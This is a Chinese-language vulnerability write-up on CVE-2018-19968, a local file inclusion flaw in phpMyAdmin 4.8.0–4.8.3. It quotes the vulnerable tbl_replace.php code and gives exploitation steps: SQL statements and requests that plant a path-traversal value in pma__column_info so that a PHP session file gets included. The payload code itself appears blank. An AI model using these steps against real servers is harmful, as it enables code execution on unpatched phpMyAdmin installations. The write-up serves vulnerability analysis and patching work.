phpMyAdmin 发布安全公告PMASA-2018-6修复了一个由Transformation特性引起的本地文件读取漏洞,影响4.8.0~4.8.3版本,CVE编号CVE-2018-19968。 漏洞细节
在文件tbl_replace.php中:
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...] if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation']; if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}
拼接到$filename的变量$mime_map[$column_name]['input_transformation']来自于数据表pma__column_info中的input_transformation字段,因为数据库中的内容用户可控,从而产生了任意文件包含漏洞。
漏洞利用
创建数据库,并将PHP代码写入SESSION文件中
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(100) PRIMARY KEY );
INSERT INTO foo.bar SELECT ' ';
访问
http://test.cesafe.com/chk_rel.php?fixall_pmadb=1&db=foo在数据库foo中生成phpMyAdmin的配置表。
将篡改后的Transformation数据插入表pma__columninfo中:将sess中的替换成你的会话ID,即COOKIE中phpMyAdmin的值.
INSERT INTO pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../../../../../../../tmp/sess_***','plop';
访问:
http://test.cesafe.com/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
如果利用成功将会自动包含含有恶意代码的SESSION文件. |